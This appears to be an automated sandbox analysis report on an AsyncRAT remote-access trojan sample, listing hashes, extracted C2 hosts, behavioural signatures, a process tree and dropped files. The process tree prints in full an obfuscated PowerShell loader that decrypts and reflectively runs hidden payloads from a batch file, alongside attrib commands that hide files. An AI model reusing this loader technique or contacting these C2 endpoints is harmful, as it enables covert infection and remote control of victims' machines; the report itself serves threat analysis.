asyncrat | de7384b0fe1a8564d9ca22fcd0e9e7ee8ec3d09a86b017c54d0db51131a8b576

Analysis

max time kernel
12s
max time network
14s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-11-2024 16:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

stub.exe
Size

8.3MB
MD5

2abbfb25196ba45ccc85c32898b8d50d
SHA1

eb6299f7ed55934543244088b6a9144927e49a19
SHA256

de7384b0fe1a8564d9ca22fcd0e9e7ee8ec3d09a86b017c54d0db51131a8b576
SHA512

f97aef78229990a59744a62490d4443c56ef18fdb3b783cb0f7cad31ce31d74fd94fbd7f854180c7f8cae067678a02c1f869f1e39c2fe592409687ecbbd50113
SSDEEP

196608:IoGv8HZ4JFdQmRrdA6lS8Qnf2ODjMnGydS8jyi9IleHq7O2zH:pOYsdQOlaF3MnG38jyi9IleKqkH

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:55496

127.0.0.1:37754

tcp://nasdnasnd-55496.portmap.host:55496:55496

tcp://nasdnasnd-55496.portmap.host:55496:37754

tcp://nasdnasnd-55496.portmap.host:55496

tcp://nasdnasnd-55496.portmap.host:37754

floor-getting.gl.at.ply.gg:55496

floor-getting.gl.at.ply.gg:37754

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1160-80-0x00000220C22F0000-0x00000220C2306000-memory.dmp	family_asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
27	1160	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
1160	powershell.exe

Loads dropped DLL 20 IoCs

Processes:

stub.exe

pid	Process
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe
3292	stub.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
1160	powershell.exe
1160	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1160	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

stub.exestub.execmd.exe

description	pid	Process	procid_target
PID 1224 wrote to memory of 3292	1224	stub.exe	83
PID 1224 wrote to memory of 3292	1224	stub.exe	83
PID 3292 wrote to memory of 4012	3292	stub.exe	88
PID 3292 wrote to memory of 4012	3292	stub.exe	88
PID 3292 wrote to memory of 4356	3292	stub.exe	90
PID 3292 wrote to memory of 4356	3292	stub.exe	90
PID 3292 wrote to memory of 2936	3292	stub.exe	92
PID 3292 wrote to memory of 2936	3292	stub.exe	92
PID 2936 wrote to memory of 1160	2936	cmd.exe	94
PID 2936 wrote to memory of 1160	2936	cmd.exe	94

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exeattrib.exe

pid	Process
4356	attrib.exe
4012	attrib.exe

C:\Users\Admin\AppData\Local\Temp\stub.exe
"C:\Users\Admin\AppData\Local\Temp\stub.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Users\Admin\AppData\Local\Temp\stub.exe
  "C:\Users\Admin\AppData\Local\Temp\stub.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\SYSTEM32\attrib.exe
    attrib +h C:\Users\Admin\AppData\Roaming\HiddenDownloads
    3⤵
    - Views/modifies file attributes
    PID:4012
- - C:\Windows\SYSTEM32\attrib.exe
    attrib +h C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat
    3⤵
    - Views/modifies file attributes
    PID:4356
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PEyYh1n8VzYpr21/IXl51llHEBPi1h78+H+NUvA+uSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G2HEgLk6pcvHDZUSbthIeg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpNLi=New-Object System.IO.MemoryStream(,$param_var); $gtpiv=New-Object System.IO.MemoryStream; $BIEih=New-Object System.IO.Compression.GZipStream($fpNLi, [IO.Compression.CompressionMode]::Decompress); $BIEih.CopyTo($gtpiv); $BIEih.Dispose(); $fpNLi.Dispose(); $gtpiv.Dispose(); $gtpiv.ToArray();}function execute_function($param_var,$param2_var){ $oCrgP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcgwz=$oCrgP.EntryPoint; $bcgwz.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat';$KYofG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat').Split([Environment]::NewLine);foreach ($RsYgi in $KYofG) { if ($RsYgi.StartsWith(':: ')) { $lhLhP=$RsYgi.Substring(3); break; }}$payloads_var=[string[]]$lhLhP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI12242\VCRUNTIME140.dll

Filesize
96KB

MD5
f12681a472b9dd04a812e16096514974

SHA1
6fd102eb3e0b0e6eef08118d71f28702d1a9067c

SHA256
d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

SHA512
7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_brotli.cp311-win_amd64.pyd

Filesize
801KB

MD5
d9fc15caf72e5d7f9a09b675e309f71d

SHA1
cd2b2465c04c713bc58d1c5de5f8a2e13f900234

SHA256
1fcd75b03673904d9471ec03c0ef26978d25135a2026020e679174bdef976dcf

SHA512
84f705d52bd3e50ac412c8de4086c18100eac33e716954fbcb3519f4225be1f4e1c3643d5a777c76f7112fae30ce428e0ce4c05180a52842dacb1f5514460006

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_bz2.pyd

Filesize
81KB

MD5
4101128e19134a4733028cfaafc2f3bb

SHA1
66c18b0406201c3cfbba6e239ab9ee3dbb3be07d

SHA256
5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80

SHA512
4f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_decimal.pyd

Filesize
245KB

MD5
d47e6acf09ead5774d5b471ab3ab96ff

SHA1
64ce9b5d5f07395935df95d4a0f06760319224a2

SHA256
d0df57988a74acd50b2d261e8b5f2c25da7b940ec2aafbee444c277552421e6e

SHA512
52e132ce94f21fa253fed4cf1f67e8d4423d8c30224f961296ee9f64e2c9f4f7064d4c8405cd3bb67d3cf880fe4c21ab202fa8cf677e3b4dad1be6929dbda4e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_hashlib.pyd

Filesize
62KB

MD5
de4d104ea13b70c093b07219d2eff6cb

SHA1
83daf591c049f977879e5114c5fea9bbbfa0ad7b

SHA256
39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e

SHA512
567f703c2e45f13c6107d767597dba762dc5caa86024c87e7b28df2d6c77cd06d3f1f97eed45e6ef127d5346679fea89ac4dc2c453ce366b6233c0fa68d82692

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_lzma.pyd

Filesize
154KB

MD5
337b0e65a856568778e25660f77bc80a

SHA1
4d9e921feaee5fa70181eba99054ffa7b6c9bb3f

SHA256
613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a

SHA512
19e6da02d9d25ccef06c843b9f429e6b598667270631febe99a0d12fc12d5da4fb242973a8351d3bf169f60d2e17fe821ad692038c793ce69dfb66a42211398e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_queue.pyd

Filesize
30KB

MD5
ff8300999335c939fcce94f2e7f039c0

SHA1
4ff3a7a9d9ca005b5659b55d8cd064d2eb708b1a

SHA256
2f71046891ba279b00b70eb031fe90b379dbe84559cf49ce5d1297ea6bf47a78

SHA512
f29b1fd6f52130d69c8bd21a72a71841bf67d54b216febcd4e526e81b499b9b48831bb7cdff0bff6878aab542ca05d6326b8a293f2fb4dd95058461c0fd14017

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_socket.pyd

Filesize
76KB

MD5
8140bdc5803a4893509f0e39b67158ce

SHA1
653cc1c82ba6240b0186623724aec3287e9bc232

SHA256
39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769

SHA512
d0878fee92e555b15e9f01ce39cfdc3d6122b41ce00ec3a4a7f0f661619f83ec520dca41e35a1e15650fb34ad238974fe8019577c42ca460dde76e3891b0e826

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_ssl.pyd

Filesize
155KB

MD5
069bccc9f31f57616e88c92650589bdd

SHA1
050fc5ccd92af4fbb3047be40202d062f9958e57

SHA256
cb42e8598e3fa53eeebf63f2af1730b9ec64614bda276ab2cd1f1c196b3d7e32

SHA512
0e5513fbe42987c658dba13da737c547ff0b8006aecf538c2f5cf731c54de83e26889be62e5c8a10d2c91d5ada4d64015b640dab13130039a5a8a5ab33a723dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\_uuid.pyd

Filesize
23KB

MD5
9a4957bdc2a783ed4ba681cba2c99c5c

SHA1
f73d33677f5c61deb8a736e8dde14e1924e0b0dc

SHA256
f7f57807c15c21c5aa9818edf3993d0b94aef8af5808e1ad86a98637fc499d44

SHA512
027bdcb5b3e0ca911ee3c94c42da7309ea381b4c8ec27cf9a04090fff871db3cf9b7b659fdbcfff8887a058cb9b092b92d7d11f4f934a53be81c29ef8895ac2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\base_library.zip

Filesize
1.4MB

MD5
d0ad2b400f15d1bbaf48c8908bee5b0f

SHA1
c3f25ea44c69180bc7dff7f2615a4010badc9b4e

SHA256
b178b21bd1653a95b626840f565806b8e121962db6b3ae332632d5948323263e

SHA512
516183b61b5b65031b07876f4f35f6436cc6cd5b0c395ba18f96d42082e700b88d95bf48e029300674001bba9a8a9820e7e96134f3c55b9d457aba479dff955c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\certifi\cacert.pem

Filesize
292KB

MD5
50ea156b773e8803f6c1fe712f746cba

SHA1
2c68212e96605210eddf740291862bdf59398aef

SHA256
94edeb66e91774fcae93a05650914e29096259a5c7e871a1f65d461ab5201b47

SHA512
01ed2e7177a99e6cb3fbef815321b6fa036ad14a3f93499f2cb5b0dae5b713fd2e6955aa05f6bda11d80e9e0275040005e5b7d616959b28efc62abb43a3238f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\charset_normalizer\md.cp311-win_amd64.pyd

Filesize
10KB

MD5
cbf62e25e6e036d3ab1946dbaff114c1

SHA1
b35f91eaf4627311b56707ef12e05d6d435a4248

SHA256
06032e64e1561251ea3035112785f43945b1e959a9bf586c35c9ea1c59585c37

SHA512
04b694d0ae99d5786fa19f03c5b4dd8124c4f9144cfe7ca250b48a3c0de0883e06a6319351ae93ea95b55bbbfa69525a91e9407478e40ad62951f1d63d45ff18

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\charset_normalizer\md__mypyc.cp311-win_amd64.pyd

Filesize
118KB

MD5
bac273806f46cffb94a84d7b4ced6027

SHA1
773fbc0435196c8123ee89b0a2fc4d44241ff063

SHA256
1d9aba3ff1156ea1fbe10b8aa201d4565ae6022daf2117390d1d8197b80bb70b

SHA512
eaec1f072c2c0bc439ac7b4e3aea6e75c07bd4cd2d653be8500bbffe371fbfe045227daead653c162d972ccaadff18ac7da4d366d1200618b0291d76e18b125c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\libcrypto-1_1.dll

Filesize
3.3MB

MD5
6f4b8eb45a965372156086201207c81f

SHA1
8278f9539463f0a45009287f0516098cb7a15406

SHA256
976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

SHA512
2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\libssl-1_1.dll

Filesize
686KB

MD5
8769adafca3a6fc6ef26f01fd31afa84

SHA1
38baef74bdd2e941ccd321f91bfd49dacc6a3cb6

SHA256
2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071

SHA512
fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\python3.dll

Filesize
64KB

MD5
34e49bb1dfddf6037f0001d9aefe7d61

SHA1
a25a39dca11cdc195c9ecd49e95657a3e4fe3215

SHA256
4055d1b9e553b78c244143ab6b48151604003b39a9bf54879dee9175455c1281

SHA512
edb715654baaf499cf788bcacd5657adcf9f20b37b02671abe71bda334629344415ed3a7e95cb51164e66a7aa3ed4bf84acb05649ccd55e3f64036f3178b7856

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\python311.dll

Filesize
5.5MB

MD5
9a24c8c35e4ac4b1597124c1dcbebe0f

SHA1
f59782a4923a30118b97e01a7f8db69b92d8382a

SHA256
a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7

SHA512
9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\select.pyd

Filesize
28KB

MD5
97ee623f1217a7b4b7de5769b7b665d6

SHA1
95b918f3f4c057fb9c878c8cc5e502c0bd9e54c0

SHA256
0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790

SHA512
20edc7eae5c0709af5c792f04a8a633d416da5a38fc69bd0409afe40b7fb1afa526de6fe25d8543ece9ea44fd6baa04a9d316ac71212ae9638bdef768e661e0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\unicodedata.pyd

Filesize
1.1MB

MD5
bc58eb17a9c2e48e97a12174818d969d

SHA1
11949ebc05d24ab39d86193b6b6fcff3e4733cfd

SHA256
ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa

SHA512
4aa2b2ce3eb47503b48f6a888162a527834a6c04d3b49c562983b4d5aad9b7363d57aef2e17fe6412b89a9a3b37fb62a4ade4afc90016e2759638a17b1deae6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12242\zstandard\backend_c.cp311-win_amd64.pyd

Filesize
507KB

MD5
56db4a861aec914a860461dedcdca0a0

SHA1
8535a8c9eac371a54308795a8bbe89414933e035

SHA256
6ab611c4a24406d9d97f09d49d50142ab2734b69a2b0d9ea6489e4af90c4a2a4

SHA512
600a21666e9ed334de5b4b17f60136434ee485c80f9740e6085e24ef95ca5376e6223a54c6b1c8f12987edab5d89af9676cc12e2a335f4c4e9ab79dfef8e4b90

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l00je2m2.uhq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat

Filesize
277KB

MD5
9a0c13597c06fde5880fefab3866e9b5

SHA1
e3741ecab92f2395215a11ce86a752f9cb8de45a

SHA256
7040e23d2fb55f974503328406df36a6d6dac1b8835e00d54a70ebf9c080f843

SHA512
7127132f0ae4207a2025bb317b57d89d16cf8d3469affeb4e717e4814cfd1d8fd4b6f8b38b38f350017e7de025f90bfb183743a5391336e6b78c795fd75d7888

Download Submit
memory/1160-65-0x00007FFB5AB03000-0x00007FFB5AB05000-memory.dmp

Filesize
8KB

Download
memory/1160-75-0x00000220C2080000-0x00000220C20A2000-memory.dmp

Filesize
136KB

Download
memory/1160-76-0x00007FFB5AB00000-0x00007FFB5B5C1000-memory.dmp

Filesize
10.8MB

Download
memory/1160-77-0x00007FFB5AB00000-0x00007FFB5B5C1000-memory.dmp

Filesize
10.8MB

Download
memory/1160-78-0x00000220C22B0000-0x00000220C22B8000-memory.dmp

Filesize
32KB

Download
memory/1160-79-0x00000220C22C0000-0x00000220C22F6000-memory.dmp

Filesize
216KB

Download
memory/1160-80-0x00000220C22F0000-0x00000220C2306000-memory.dmp

Filesize
88KB

Download
memory/1160-81-0x00007FFB5AB03000-0x00007FFB5AB05000-memory.dmp

Filesize
8KB

Download
memory/1160-82-0x00007FFB5AB00000-0x00007FFB5B5C1000-memory.dmp

Filesize
10.8MB

Download
memory/1160-83-0x00007FFB5AB00000-0x00007FFB5B5C1000-memory.dmp

Filesize
10.8MB

Download